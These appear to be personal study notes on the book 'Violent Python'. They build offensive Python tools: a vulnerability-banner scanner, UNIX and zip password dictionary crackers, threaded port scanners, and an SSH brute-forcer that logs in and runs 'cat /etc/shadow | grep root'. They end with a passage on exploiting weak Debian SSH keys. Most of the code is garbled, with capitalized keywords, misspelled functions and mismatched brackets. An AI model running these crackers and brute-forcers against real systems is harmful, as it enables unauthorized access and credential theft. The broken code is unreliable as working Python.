**Notes from Violent Python**

Installing most third-party packages will follow the same steps of downloading, uncompressing, and then issuing the command python setup.py install.

programmer:~# wget <http://xael.org/norman/python/python-nmap/python-nmap-0.2.4.tar.gz-0n> map.tar.gz

–2012-04-24 15:51:51 – http://xael.org/norman/python/python-nmap/python-nmap-0.2.4.tar.gz

Resolving xael.org…

Connecting to xael.org…

HTTP request sent, awaiting response, … 200 OK

Length 29620 (29K) [application/x-gzip]

Saving to: ‘nmap.tar.gz’ 100% Length: 29620 (29K) [application/x-gzip]

Saving to: ‘nmap.tar.gz’ 100% 29,620 60.8 K/s in 0.5s

2012-04-24 15:51:52 (60.8 K/s) - ‘nmap.tar.gz’ saved [29620/29620]

programmer:~# tar -xzf nmap.tar.gz

programmer:~# cd python-nmap-0.2.4/

programmer:~/python-nmap-0.2.4# python setup.py install

Running install

Running build

Running build\_py

Creating build

Creating build/lib.linux-x86\_64-2.6

Creating build/lib.linux-x86\_64-2.6/nmap

Copying nmap/\_\_init\_\_.py -> build/lib.linux-x86\_64-2.6/nmap

Copying nmap/example.py -> build/lib.linux-x86\_64-2.6/nmap

Copying nmap/nmap..py -> build/lib.linux-x86\_64-2.6/nmap

Running install\_lib

Creating /usr/local/lib/python2.6/dist-packages/nmap

Copying build/lib.linux-x86\_64-2.6/nmap/\_\_init\_\_.py -> /usr/local/lib/python2.6/dist-packages/nmap

Copying build/lib.linux-x86\_64-2.6/nmap/example.py -> /usr/local/lib/python2.6/dist-packages/nmap

…

Byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/\_\_init\_\_.py to \_\_init\_\_.pyc

Byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/\_\_init\_\_.py to example.pyc

Byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/\_\_init\_\_.py to nmap.pyc

Running install\_egg\_info

Writing /usr/local/lib/python2.6/dist-packages/python\_nmap-0.2.4.egg-info

To make installing python packages even easier, Python setuptools provides a Python module called easy\_install. Running the easy installer module followed by the name of the package to install will search through Python repositories to find and install automatically.

programmer:~# easy\_install python-nmap

Searching for python-nmap

Reading <http://pypi.python.org/simple/python-nmap/>

Reading http://xael.org/norman/python/python-nmap/python-nmap-0.2.4.tar.gz

Processing python-nmap-0.2.4.tar.gz

Running python-nmap-0.2.4/setup.py -q bdist\_egg –dist-dir /tmp/easy-install-rtyUSS/python-nmap-0.2.4/egg-dist-tmp-EOPENs

Zip\_safe flag not set: analyzing archive contents…

Adding python-nmap 0.2.4 to easy-install.pth file

Installed /usr/local/lib/python2.6/dist-packages/python\_nmap-0.2.4-py2.6.egg

Processing dependencies for python-nmap

Finished processing dependencies for python-nmap

To rapidly establish a development environment, we suggest you download a copy of the latest BackTrack Linux Penetration Testing distribution from <http://backtrack-linux.org/downloads/>.

When setting up a development environment, it may prove useful to download all of these third-party modules before beginning. On Backtrack, you can install all of these third-party modules before beginning. Issue the following command easy\_install pyPdf python-nmap pygeoip mechanize BeautifulSoup4. To install specific Bluetooth libraries that are not available from easy\_install, you can use the aptitude package manager to download and install these libraries.

Attacker # apt-get install python-bluez bluetooth python-obexftp

**Similar to other scripting languages, Python is an interpreted language. At runtime, an interpreter processes the code and executes it.**

**The Python Language**

In the following pages, we tackle the idea of variables, data types, strings, complex data structures, networking, selection, iteration, file handling, exception handling, and interoperability with the operating system. To illustrate this, we will build a simple vulnerability scanner that connects to a TCP socket, reads the banner from a service, and compares that banner against known vulnerable service versions.

Variables – In Python, a variable points to data stored in a memory location. This memory location can store different values such as integers, real numbers, Booleans, strings, or more complex data such as lists or dictionaries

>>> port = 21

>>> banner = “FreeFloat FTP Server”

>>> print “[+] Checking for “+banner+” on port “+str(port)

[+] Checking for FreeFloat FTP Server on port 21

Python reserves memory space for variables when the programmer declares them. The programmer does not have to explicitly declare the type of variable rather, the interpreter decides the type of variable and how much space in the memory to reserve. We declare a string, an integer, a list, and a Boolean, and the interpreter correctly automatically types each variable.

>>> banner = “FreeFloat FTP Server”

>>> type(banner)

<type ‘str’>

>>> port = 21

>>> type(port)

<type ‘int’>

>>> portList=[21,22,80,110]

>>> type(portList)

<type ‘list’>

>>> portOpen = True

>>> type(portOpen)

<type ‘bool’>

Consider the use of the following methods: upper(),lower(), replace(), and find(). Upper() converts a string to its uppercase variant. Lower() converts a string to its lowercase variant. Replace(old, new) replaces the old occurrence of the substring with the substring new. Find() reports the offset where the first occurrence of the substring occurs.

**Dictionaries**

The Python dictionary data structure provides a hash table that can store any number of Python objects. The dictionary consists of pairs of items that contain a key and a value. Let’s continue with our example of a vulnerability scanner to illustrate a Python dictionary. When scanning specific TCP ports, it may prove useful to have a dictionary that contains the common service names for each port. Creating a dictionary, we can lookup a key like ftp and return the associated value 21 for that port.

>>> services = [‘ftp’:21, ‘ssh’:22,’smtp’:25, ‘http’:80]

>>> servies.keys()

[‘ftp’,’smtp’,’ssh’,’http’]

>>> services.items()

[(‘ftp’, 21), (‘smtp’, 25), (‘ssh’,22), (‘http’,80)]

>>> services.has\_key(‘ftp’)

True

>>> services [‘ftp’]

21

>>> print “[+] Found vuln with FTP on port “+str(services[‘ftp’])

[+] Found vuln with FTP on port 21

Sockets - the recv(1024) method will read the next 1024 bytes on the socket. We store the result of this method in a variable and then print the results to the server.

>>> import socket

>>> socket.setdefaulttimeout(2)

>>> s = socket.socket()

>>> s.connect((“192.168.95.148”,21))

>>> ans = s.recv(1024)

>>> print ans

220 FreeFloat Ftp Server (Version 1.00).

**Selection**

Like most programming languages, Python provides a method for conditional select statements. The IF statement evaluates a logical expression in order to make a decision based on the result of the evaluation. Continuing with our banner-grabbing script, we would like to know if the specific FTP server is vulnerable to attack. To do this, we will compare our results against some known vulnerable FTP server versions.

>>> import socket

>>> socket.setdefaulttimeout(2)

>>> s = socket.socket()

>>> s.connect((“192.168.95.148”, 21))

>>> ans = recv(1024)

>>> if(“FreeFloat Ftp Server(Version 1.00)” in ans):

… print “[+] FreeFloat FTP Server is vulnerable.”

… elif(“3Com 3CDaemon FTP Server Version 2.0” in banner):

… print “[+] 3CDaemon FTP Server is vulnerable.”

… elif(“Ability Server 2.34” in banner):

… print “[+] Sami FTP Server is vulnerable.”

… else:

… print “[-] FTP Server is not vulnerable.”

…

[+] FreeFloat Server is vulnerable.”

Print 1337/0 - ZeroDivisionError: integer division or modulo by zero

What happens if we just wanted to handle the error within the context of the running program or script? The Python language provides exception-handling capability to do just this. Let’s update the previous example. We use try/except statements to provide exception handling. Now, the program tires to execute the division by zero. When the error occurs, our exception handling catches the error and prints a message to the screen.

>>> try:

… print “[+] 1337/0 = “+str(1337/0)

… except:

… print “[-] Error.”

…

[-] Error

>>>

Unfortunately, this gives us very little information about the exact exception that caused the error. It might be useful to provide the user with an error message about the specific error that occurred. To do this, we will store the exception in a variable e to print the exception, then explicitly cast the variable e as a string.

Let’s now use exception handling to update our banner-grabbing script. We will wrap the network connection code with exception handling. Next, we try to connect to a machine that is not running a FTP server on TCP port 21. If we wait for the connection timeout,we see a message indicating the network connection operation timed out. Our program can now continue.

In Python, functions provide organized blocks of reusable code. Typically, this allows a programmer to write a block of code to perform a single, related action. While Python provides many built-in functions, a programmer can create user-defined functions. The keyword def() begins a function. The programmer can place any variables inside the parenthesis. These variables are then passed by reference, meaning that meaning that any changes to these variables…

Import socket

Def retBanner(ip, port):

Try:

Socket.setfefaulttimeout(2)

S = socket.socket()

s.connect((ip,port))

Banner = s.recv(1024)

Return banner

Except:

return

Def main():

Ip1 = ‘192.168.95.148’

Ip2 = ‘192.168.95.149’

Port = 21

Banner1 = retBanner(ip1,port)

If banner1:

Print ‘[+]’+ ip1 + ‘:’ + banner1

Banner2 = retBanner(ip2, port)

If banner2:

Print ‘[+]’ + ip2 + ‘:’ + banner2

If \_\_name\_\_ == ‘\_\_\_main\_\_\_’:

main()

After returning the banner, our script needs to check this banner against some known vulnerable programs. This also reflects a single, related function. The function checkVulns() takes the variable banner as a parameter and then uses it to make a determination of the vulnerability of the server.

Import socket

Def retBanner(ip, port):

Try:

socket.setfefaulttimeout(2)

S = socket.socket()

s.connect((ip, port))

Banner = s.recv(1024)

Return banner

Except:

return

Def checkVulns(banner):

If ‘FreeFloat FTP Server (Version 1.00)’ in banner:

Print ‘[+] FreeFloat FTP Server is vulnerable.’

Elif ‘3Com 3CDaemon FTP Server Version 2.0’ in banner:

Print ‘[+] 3CDaemon FTP Server is vulnerable.’

elif ‘Ability Server 2.34’ in banner:

Print ‘[+] Sami FTP Server is vulnerable.’

Else:

Print ‘[-] FTP Server is not vulnerable.’

Return

Def main():

Ip1 = ‘192.168.95.148’

Ip2 = ‘192.168.95.149’

Ip3 = ‘192.168.95.150’

Port = 21

Banner1 = retBanner(ip1, port)

If banner1:

Print ‘[+]’ + ip1 + ‘: ‘ + banner1.strip(‘\n’)

checkVulns(banner1)

Banner2 = retBanner(ip2, port)

If banner2:

Print ‘[+]’ + ip2 + ‘: ‘ + banner1.strip(‘\n’)

checkVulns(banner2)

Banner3 = retBanner(ip3, port)

If banner3:

Print ‘[+]’ + ip2 + ‘: ‘ + banner1.strip(‘\n’)

checkVulns(banner3)

If \_\_name\_\_ == ‘\_\_main\_\_’:

main()

**Iteration**

During the last section, you might have found it repetitive to write almost the same exact code three times to check the three different IP addresses. Instead of writing the same thing three times, we might find it easier to use a for-loop…

Consider, for example: if we wanted to iterate through the entire /24 subnet of IP addresses for 192.168.95.1 through 192.168.95.254, using a for loop with the range from 1 to 255 allows us to print out the entire subnet. Similarly, we may want to iterate through a known list of ports to check for vulnerabilities. Instead of iterating through a range of **numbers**, we can iterate through an entire list of elements, [for port in portList: print port]

Nesting our two for-loops, we can now print out each IP address and the ports for each address.

>>> for x in range (1,255):

For port in portList:

Print “[+] Checking 192.168.95.”\ + str(x) + “: “ + str(port)

…

[+] Checking 192.168.95.1:21

[+] Checking 192.168.95.1:22

[+] Checking 192.168.95.1:25

[+] Checking 192.168.95.1:80

[+] Checking 192.168.95.1:21

[+] Checking 192.168.95.1:22

[+] Checking 192.168.95.1:25

[+] Checking 192.168.95.1:80

<...SNIPPED…>

With the ability to iterate through IP addresses and ports, we will update our vulnerability-checking script. Now our script will test all 254 IP addresses on the 192.168.95.0/24 subnet with the ports offering telnet, SSH, smtp, http, imap and https services.

Import socket

Def retBanner(ip, port):

Try:

socket.setdefaulttimeout(2)

S = socket.socket()

s.connect((ip, port)))

except:

return

Def checkVulns(banner):

…..

…..

Def main():

portList = [21,22,25,80,110,443]

For x in range(1,25):

Ip = ‘192.168.95.’ + str(x)

\ for port in portList:

Banner = retBanner(ip, port)

If banner:

Print ‘[+]’+ ip + ‘: ‘+ banner

checkVulns(banner)

If \_\_name\_\_ == ‘\_\_main\_\_’:

main()

**File I/O**

Cat vuln\_banners.txt

<--UPDATED checkVulns function–>

Def checkVulns(banner):

F = open(“vuln\_banners.txt”, ‘r’)

For line in f.readlines():

If line.strip(‘\n’) in banner:

Print “[+] Server is vulnerable: “+banner.strip(‘\n’)

**Reading the file from first argument using sys**

Import sys

If len(sys.argv)==2:

Filename = sys.argv[1]

Print “[+] Reading vulnerabilities from: “ + filename

programmer$ python vuln-scanner.py vuln-banners.txt

[+] Reading Vulnerabilities From: vuln-banners.txt

**The built-in OS module provides a wealth of os routines for Mac, NT, or Pox operating systems. This module allows the program to independently interact with the OS environment, file-system, user database and permissions. Consider, for example, the last section, where the user passed the name of a text file as a command line argument. It might prove valuable to check to see if that file exists and the current user has read permissions to that file.**

Import sys

Import os

If len(sys.argv)==2:

Filename = sys.argv[1]

If not os.path.isfile(filename):

Print ‘[-]’ + filename + ‘does not exist’

exit(0)

If not os.access(filename, os.R\_OK):

Print ‘[-]’ + filename + ‘access denied’

exit(0)

Print ‘[+] Reading Vulnerabilities From: ‘ + filename

**To verify our code, we initially try to read a file that does not exist, which causes our script to print an error. Next, we create the specific filename and successfully read it. Finally we restrict permission and see that our script correctly prints the access-denied message:**

programmer$ python test.py vuln-banners.txt

[-] vuln-banners.txt does not exist

programmer$ touch vuln-banners.txt

programmer$ python test.py vuln-banners.txt

[+] Reading Vulnerabilities From: vuln-banners.txt

programmer$ chmod **000** vuln-banners.txt

programmer$ python test.py vuln-banners.txt

[-] vuln-banners.txt access denied.

**Your first program, a UNIX Password Cracker**

Firing up the Python interpreter, we see that the crypt library already exists in the Python standard library. To calculate an encrypted UNIX password hash, we simply call the function crypt.crypt() and pass it the password and salt as parameters. This function returns the hashed password as a string.

>>> help (‘crypt’)

Help on module crypt:

NAME: crypt

FILE: /System/Library/Frameworks/Versions/2.7/lib/python2.7/lib-dynload/crypt.so

FUNCTIONS

crypt(...)

crypt(word, salt) -> string

Word will usually be a user’s password. Salt is a 2-character string which will be used to select one of 4096 variations of DES. The characters in salt must either be “.”,”/”, or an alphanumeric character. Returns the hashed password as a string, which will be composed of characters from the same alphabet as the salt.

programmer $ python

>>> import crypt

>>> crypt.crypt(“egg”, “HX”)

‘HX9LLTdc/jiDE’

This function, testPass(), takes the encrypted password as a parameter and returns either after finding the password or exhausting the words in the dictionary. Notice that the function first strips out the salt from the first two characters of the encrypted password hash. Next, it opens the dictionary and iterates through each word in the dictionary, creating an encrypted password hash from the dictionary word and the salt. If the result matches our encrypted password hash, the function prints a message indicating the found password and returns. Otherwise, it continues to test every word in the dictionary.

Import crypt

Def testPass(cryptPass):

Salt = cryptPass[0:2]

dictFile = open(‘dictionary.txt’, ‘r’)

For word in dictFile.readlines():

Word = word.strip(‘\n’)

cryptWord = crypt.crypt(word, salt)

If (cryptWord == cryptPass):

Print “[+] Found Password: “+word+”\n”

Return

Print “[-] Password Not Found.\n”

Return

Def main():

passFile = open(‘passwords.txt’)

For line in passFile.readlines():

If “:” in line:

User = line.split(‘:’)[0]

cryptPass = line.split(‘:’)[1].strip(‘ ‘)

Print “[\*] Cracking Password For: “+user

testPass(cryptPass)

If \_\_name\_\_==”\_\_main\_\_”:

main()

**Running our first program, we see that it successfully cracks the password for victim but does not crack the password for root. Thus, we know the system administrator (root) must be using a word not in our dictionary.**

On modern \*Nix based operating systems, the /etc/shadow file stores the hashed password and provides the ability to use more secure hashing algorithms. **SHA-512 functionality is provided by the Python hashlib library.**

An adversary could use the tool to gain unauthorized access to the system; however could a programmer use this for good as well as evil? Certainly - let’s expand. There are only *tools.*

**Your Second Program, a Zip-File Password Cracker**

Let’s begin writing our zip-file password cracker by examining the zipfile library.

>>> help (‘zipfile’)

<..SNIPPED..>

Class Zipfile

| Class with methods to open, read, write, close, list, zip files

|

| z = Zipfile(file, mode=”r”,compression=ZIP\_STORED,allowZip64=False)

<..SNIPPED..>

| extractall(self, path=None,members=None,pwd=None)

| Extract all members from the archive to the current working directory. ‘Path’ specifies a different directory to

| extract to. ‘Members’ is optional and must be a subset of the list returned.

Let’s write a quick script to test the use of the zipfile library. After importing the library, we instantiate a new ZipFile class by specifying the filename of the password-protected zip file. To extract the zipfile, we utilize the extractall() method and specify the optional parameter fro the password. Next, we execute our script, which extracts the contents of evil.zip to a newly created directory called evil/. This directory contains the files from the previously password-protected zip file.

programmer$ ls

Evil.zip unzip.py

programmer$ python unzip.py

programmer$ ls

Evil.zip unzip.py evil

programmer$ cd evil/

programmer$ ls

Note\_to\_adam.txt apple.bmp

Import zipfile

zFile = zipfile.Zipfile(“evil.zip”)

Try:

zFile.extractall(pwd=”oranges”)

Except Exception as e:

Print e

We can use the fact that an incorrect password throws an exception to test our zip file against a dictionary file. After instantiating a ZipFile class, we open a dictionary file and iterate through and test each word in the dictionary. If the method extractall() executes without error, yadda yadda

Import zipfile

zFile = zipfile.ZipFile(‘evil.zip’)

passFile = open(‘dictionary.txt’)

For line in passFile.readlines():

Password = line.strip(‘\n’)

try:

zFile.extractall(pwd=password)

Print ‘[+] Password ‘ + password + ‘\n’

exit(0)

Except Exception, e:

Pass

Executing our script, we see that it correctly identifies the password for the password-protected zip-file:

programmer$ python unzip.py

[+] Password = secret

Script modularized with functions:

Import zipfile

Def extractFile(zFile, password):

Try:

zFile.extractall(pwd=password)

Return password

except:

return

Def main():

zFile = zipfile.ZipFile(‘evil.zip’)

Passfile = open(‘dictionary.txt’)

For line in passFile.readlines():

Password = line.strip(‘\n’)

Guess = extractFile(zFile, password)

If guess:

Print ‘[+] Password = ‘ + password + ‘\n’

exit(0)

If \_\_name\_\_== ‘\_\_main\_\_’:

main()

With our program modularized into separate functions, we can now increase our performance. Instead of trying each word in the dictionary one at a time, we will utilize threads of execution to allow simultaneous testing of new passwords. For each word in the dictionary, we will spawn a new thread of execution.

Import zipfile

From threading import Thread

Def extractFile(zFile, password):

try:

zFile.extractall(pwd=password)

Print ‘[+] Found password ‘ + password + ‘\n’

Except:

Pass

Def main():

zFile = zipFile.ZipFile(‘evil.zip’)

Passfile = open(‘dictionary.txt’)

For line in passFile.readlines():

Password = line.strip(‘\n’)

T = Thread(target=extractFile, args=(zFile,password))

t.start()

If \_\_name\_\_ == ‘\_\_main\_\_’:

main()

**Modifications to allow the user to specify the name of the zip file to crack and the name of the dictionary file. To do this, we will import the optparse library. For the purposes of our script here, we only need to know it parses flags and optional parameters following our script.**

….

….

Def main():

Parser = optparse.OptionParser(“usage%prog “ +\ “-f <zipfile> -d <dictionary>”)

parser.add\_option(‘-f’, dest=’zname’, type=’string’, \help = ‘specify zip file’)

parser.add\_option(‘-d’, dest=’dname’,type=’string’, \help = ‘specify dictionary file’)

(options, args) = parser.parse\_args()

if(options.zname==None) | (options.dname==None):

Print parser.usage

exit(0)

Else:

Zname = options.zname

Dname = options.dname

zFile = zipfile.ZipFile(zname)

passFile = open(dname)

….

….

Finally, we test our completed password-protected zip-file-cracker script to ensure it works. Success with a thirty-five-line script!

programmer$ python unzip.py -f evil.zip -d dictionary.txt

[+] Found password secret

**Building a full-connect scanner - TCP Connect Scan**

The following example shows a quick method for parsing the target hostname and port to scan:

Import optparse

Parser = optparse.OptionParser(‘usage %prog -H’+\ ‘<target host> -p <target port>’)

parser.add\_option(‘-H’, dest=’tgtHost’, type=’string’, \ help=’specify target host’)

parser.add\_option(‘-p’, dest=’tgtPort’, type=’int’, \ help=’specify target host’)

(options,args) = parser.parse\_args()

tgtHost = options.tgtHost

tgtPort = options.tgtPort

if(tgtHost == None) | (tgtPort==None):

Print parser.usage

exit(0)

Next, we will build two functions connScan and portScan.The portScan function takes the hostname and target ports as arguments. It will first attempt to resolve an IP address to a friendly hostname using the gethostbyname() function. Next, it will print the hostname(or IP address) and enumerate through each individual port attempting using the connScan function. The connScan function will take two arguments: tgtHost and tgtPort and attempt to create a connection to the target host and port. If it is successful, connScan will print an open port message. If unsuccessful, it will print the closed port message.

Import optparse

From socket import \*

Def connScan(tgtHost, tgtPort):

Try:

connSkt = socket(AF\_INET, SOCK\_STREAM)

connSkt.connect((tgtHost, tgtPort))

print(‘[+]%d/tcp open’% tgtPort

connSkt.close()

Except:

Print ‘[-]%d/tcp closed’ % tgtPort

Def portscan(tgtHost, tgtPorts):

Try:

tgtIP = gethostbyname(tgtHost)

Except:

Print “[-] Cannot resolve ‘%s’: Unknown host” %tgtHost

Return

try:

tgtName = gethostbyaddr(tgtIP)

print(‘\n[+] Scan results for: ‘ + tgtName[0]

Except:

Print ‘\n[+] Scan Results for: ‘ + tgtIP

setdefaulttimeout(1)

For tgtPort in tgtPorts:

Print ‘Scanning port ‘ + tgtPort

connScan(tgtHost, int(tgtPort))

**Application Banner Grabbing**

Import optparse

Import socket

From socket import \*

Def connScan(tgtHost, tgtPort):

try:

connSkt = socket (AF\_INET, SOCK\_STREAM)

connSkt.connect((tgtHost, tgtPort))

connSkt.send(‘ViolentPython\r\n’)

Results = connSkt.recv(100)

Print ‘[+]%d/tcp open’ % tgtPort

Print ‘[+]’ + str(results)

connSkt.close()

Except:

Print ‘[-]%d/tcp open’ % tgtPort

def portScan(tgtHost, tgtPorts):

Try:

tgtIP = gethostbyname(tgtHost)

Except:

Print “[-] Cannot resolve ‘%s’: Unknown host” % tgtHost

Return

try:

tgtName = gethostbyaddr(tgtIP)

Print ‘\n[+] Scan results for: ‘ + tgtIP

except

Print ‘\n[+] Scan results for: ‘ + tgtName[0]

setdefaultimeout(1)

For tgtPort in tgtPorts:

Print ‘Scanning port ‘ + tgtPort

connScan(tgtHost, int(tgtPort))

Def main():

Parser = optparse.OptionParser(“usage%prog “ +\ “-H <target host> -p <target port>”)

parser.add\_option(‘-H’, dest=’tgtHost’, type=’string’, \ help = ‘specify target host’)

parser.add\_option(‘-p’, dest=’tgtPort, type=’string’, \help = ‘specify target port[s] separated by comma’)

(options,args) = parser.parse\_args()

tgtHost = options.tgtHost

tgtPorts = str(options.tgtPort).split(‘, ‘)

If (tgtHost == None) | (tgtPorts[0] == None):

Print ‘[-] You must specify a target host and port[s].’

exit(0)

portScan(tgtHost, tgtPorts)

If \_\_name\_\_ == ‘\_\_main\_\_”:

main()

For example, scanning a host with a FreeFloat FTP Server installed might reveal the following information in the banner grab:

attacker$ python portscanner.py -H 192.168.1.37 -p 21,22,80

[+] Scan Results for: 192.168.1.37

Scanning port 21

[+] 21/tcp open

[+] 220 FreeFloat Ftp Server (Version 1.00).

In knowing the server runs FreeFloat FTP (Version 1.00) this will prove to be useful for targeting our application as seen later.

**Threading the Scan**

Depending on the timeout variable for a socket, a scan of each socket can take several seconds. While this appears trivial, it quickly adds up if we are scanning multiple hosts or ports. Ideally, we would like to scan sockets simultaneously as opposed to sequentially. Enter Python threading. Threading provides a way to perform these kinds of executions simultaneously. To utilize this in our scan, we will modify the iteration loop in our portScan() function. Notice how we call the connScan function as a thread. Each thread created in the iteration will now appear to execute at the same time.

For tgtPort in tgtPorts:

T = Thread(target=connScan, args=(tgtHost, int(tgtPort))

t.start()

While this provides us with a significant advantage in speed, it does present one disadvantage. Our function connScan() prints an output to the screen. If multiple threads print an output at the same time, it could appear garbled and out of order. In order to allow a function to have complete control of the screen, we will use a semaphore. A simple semaphore provides us a lock to prevent othe threads from proceeding. Notice that prior to printing an output, we grabbed a hold of the lock using screenLock.acquire().

screenLock = Semaphore(value=1)

Def connScan(tgtHost, tgtPort):

Try:

connSkt = socket(AF\_INET, SOCK\_STREAM)

connSkt.connect((tgtHost, tgtPort)))

connSkt. send(‘ViolentPython \r\n’)

Results = connSkt.recv(100)

screenLock.acquire()

Print ‘[-]%d/tcp closed’ %tgtPort

finally:

screenLock.release()

connSkt.close()

Placing all other functions into the same script and adding some option parsing, we produce our final port scanner script. Running the script against a target, we see it has an Xitami FTP server running on TCP port 21 and that TCP port 1720 is closed.

attacker:~# python portScan.py -H 10.50.60.125 -p 21, 1720

[+] Scan results for: 10.50.60.125

[+] 21/tcp open

[+] 220 - Welcome to this Xitami FTP server

[-] 1720/tcp closed

**Integrating the Nmap Port Scanner**

With Python-Nmap installed, we can now import Nmap into existing scripts and perform Nmap scans inline with your Python scripts. Creating a PortScanner() class object will allow us the capability to perform a scan on that object, same function scan() that takes a list of targets and ports as input and performs a basic Nmap scan. Additionally, we can now index the object by target hosts and ports and print the status of the port.

Import nmap

Import optparse

Def nmapScan(tgtHost, tgtPort):

nmScan = nmap.PortScanner()

State = nmScan[tgtHost][‘tcp’][int(tgtPort)][‘state’]

Print “ [\*] “ + tgtHost + “tcp/” + tgtPort + “ “ + state

Def main():

….

attacker:~# python nmapScan.py -H 10.50.60.125 -p 21,1720

[\*] 10.50.60.125 tcp/21 open

[\*] 10.50.60.125 tcp/1720 filtered

**Building an SSH Botnet with Python**

The Morris Worm includes forcing common usernames and passwords against the remote shell (RSH) service as one of its three attack vectors. In 1988, RSH provided an excellent (although not very secure) method for a system administrator to remotely connect to a machine and manage it by performing a series of terminal commands on the host. SSH Worms have proven to be very effective and common attack vectors. Take a look at the intrusion detection system (IDS) log from our very on [www.violentpython.org](http://www.violentpython.org) for a recent SSH attack. Here the attacker has attempted to connect to the machine using the accounts ucla, oxford, and matrix.

Received from: violentPython -> /var/log/auth.log

Rule: 5712 fired (level 10) -> “SSHD brute force trying to get access to the system.”

Portion of the log(s):

Oct 13 23:30:30 violentPython sshd[10956]: Invalid user ucla from 67.228.3.58

Oct 13 23:30:29 violentPython sshd[10956]: Invalid user ucla from 67.228.3.58

…

**Interacting with SSH Through Pexpect**

attacker$ ssh root@127.0.0.1

The authenticity of host…can’t be established

RSA key fingerprint is…

Are you sure you want to continue connecting…yes

Warning: permanently adding 127.0.0.1 (RSA) to the list of known shots

Password

Last Login

Attacker:~uname -v

Darwin Kernel Version 11.2.0: Tue Aug 9 20:54:00 PDT 2011:root:xnu~1699.24.8~1/RELEASE\_X86\_64

In order to automate this interactive console, we will make use of a third party Python module called **Pexpect**. Pexpect has the ability to interact with programs, watch for expected outputs, and then respond based on expected outputs. This makes it an excellent tool for automating the process of brute forcing SSH user credentials. Examine the function connect(). This function takes a username, hostname, and password and returns an SSH connection resulting in an SSH spawned connection. Utlizing the pexpect library, it then waits for an expected output. Three possible expected outputs can occur - a timeout, a message indicating that the host has a new public key, or a password prompt. If a timeout occurs, then the session.expect() method returns to zero.

Import pexpect

PROMPT = [‘#’, ‘>>> ‘, ‘> ‘, ‘\$ ‘]

Def send\_command(child, cmd):

child.sendline(cmd)

child.expect(PROMPT)

Print child.before

Def connect (user, host, password):

Ssh\_newkey = ‘Are you sure you want to keep connecting’

Connstr = ‘ssh ‘ + user + ‘@’ + host

Child = pexpect.spawn(connStr)

Ret = child.expect([pexpect.TIMEOUT, ssh\_newkey, \ ‘[P|p] assword: ‘])

If ret == 0:

Print ‘[-] Error Connecting’

Return

If ret == 1:

child.sendline(‘yes’)

Ret = child.expect([pexpect, TIMEOUT, \ ‘[P|p] assword: ‘])

child.sendline(password)

child.expect(PROMPT)

Return child

Once authenticated, we can now use a separate function command() to send commands to the SSH session. The function command() takes an SSH session and command string as input. It then sends the command string to the session and waits for the command prompt. After catching the command prompt, it prints this output from the SSH session. Wrapping everything together, we now have a script that can connect and control the SSH session interactively.

Import pexpect

PROMPT = [‘#’, ‘>>> ‘, ‘> ‘, ‘\$ ‘]

Def send\_command(child, cmd):

child.sendline(cmd)

child.expect(PROMPT)

Print child.before

Def connect (user, host, password):

Ssh\_newkey = ‘Are you sure you want to keep connecting’

Connstr = ‘ssh ‘ + user + ‘@’ + host

Child = pexpect.spawn(connStr)

Ret = child.expect([pexpect.TIMEOUT, ssh\_newkey, \ ‘[P|p] assword: ‘])

If ret == 0:

Print ‘[-] Error Connecting’

Return

If ret == 1:

child.sendline(‘yes’)

Ret = child.expect([pexpect, TIMEOUT, \ ‘[P|p] assword: ‘])

child.sendline(password)

child.expect(PROMPT)

Return child

Def main():

Host = ‘localhost’

User = ‘root’

Password = ‘toor’

Child = connect (user, host, password)

send\_command(child, ‘cat /etc/shadow | grep root’)

If \_\_name\_\_ == ‘\_\_main\_\_’:

main()

attacker# sshd-generate

Generating public/private rsa1 key pair.

attacker# service ssh start

Ssh start/running, process 4376

attacker# python sshCommand.py

Cat /etc/shadow | grep root

**Brute forcing SSH Passwords with Pxssh**

While writing the last script really gave us a deep understanding of the capabilities of pexpect, we can really simplify the previous script using pxssh. Pxssh is a specialized script included in the pexpect library. It contains the ability to directly interact with SSH sessions with pre-defined methos for login(), logout(), prompt(). Using pxssh, we can reduce our previous script to the following:

Import pxssh

Def send\_command(s,cmd):

s.sendline(cmd)

s.prompt()

Print s.before

Def connect(host, user, password):

Try:

S = pxssh.pxssh()

s.login(host, user, password)

Return s

Except:

Print ‘[-] Error Connecting’

exit(0)

S = connect(‘127.0.0.1’, ‘root’, ‘toor’)

send\_command(s, ‘cat /etc/shadow | grep root’)

Our script is near complete. We only have a few minor modifications to get the script to automate the task of brute forcing SSH credentials. Other than adding some option parsing to read in the hostname, username, and password file, the only thing we need to do is slightly modify the connect() function. IF the login() function succeeds without exception, we will print a message indicating that the password is found and update a global Boolean indicating so. Otherwise, we will catch the exception. If the exception indicates that the password was ‘refused’, we know that the password failed and we just return. Hosever, if the exception indicates that the socket is ‘read\_non-blocking’, then we will assume the SSH server is maxed out at the number of connections and we will sleep for a couple of seconds before trying again with the same password. Additionally, if the exception indicates that pxssh is having difficulty obtaining a command prompt, we will sleep for a second to allow it to do so. Note that we include a Boolean release included in the connect() function arguments. Since connect() can recursively call another connect(), we only want the caller to be able to release our connection\_lock semaphore. Trying the SSH password brute force against a device provides the following results. It is interesting to note the password found is ‘alpine.’ Often when jail-breaking the device, users enabled an OpenSSH server on the iPhone. While this proved extremely useful for some, several users were unaware of this new capability. The worm *iKee* took advantage this new capability by trying the default password against devices. The authors of the worm did not intend any harm with the worm. Rather, they changed the background image of the phone to a picture of Rick Astley with the words “ikee never gonna give you up”

attacker# python sshBrute.py -H 10.10.1.36 -u root -F pass.txt

[-] Testing: 123456

[-] Testing: 12345

[-] Testing: 123456789

[-] Testing: password

[-] Testing: iloveyou

[-] Testing: princess

[-] Testing: alpine

[-] Testing: password1

…

[+] Password Found: alpine

[-] Testing: butterfly

[\*] Exiting: Password Found

**Exploiting SSH through Weak Private Keys**

Using either RSA or DSA algorithms, the server prdoucs these keys for logging into SSH. Typically, this provides an excellent method for authentication. With the ability to generate 1024-bit, 2048-bit, or 4096-bit keys, this authentication process makes it difficult to use brute force as we did with weak passwords. However, in 2006 something interesting happened with the Debian Linux distribution. A developer commented on a line of code found by an automated software analysis toolkit. The particular line of code ensured entropy in the creation of SSH keys. By commenting on the particular line of code, the size of the searchable key dropped to 15-bits of entropy (Ahmad, 2008). Without only 15-bits of entropy, this meant only 32767 keys existed for each algorithm and size. HD Moore, CSO and Chief Architect at Rapid7, generated all of the 1024-bit and 2048-bit keys in under two hours (Moore, 2008).

You can download the 1024-bit keys to begin. After downloading and extracting the keys, go ahead and delete the public keys, since we will only need the private keys to test our connection.

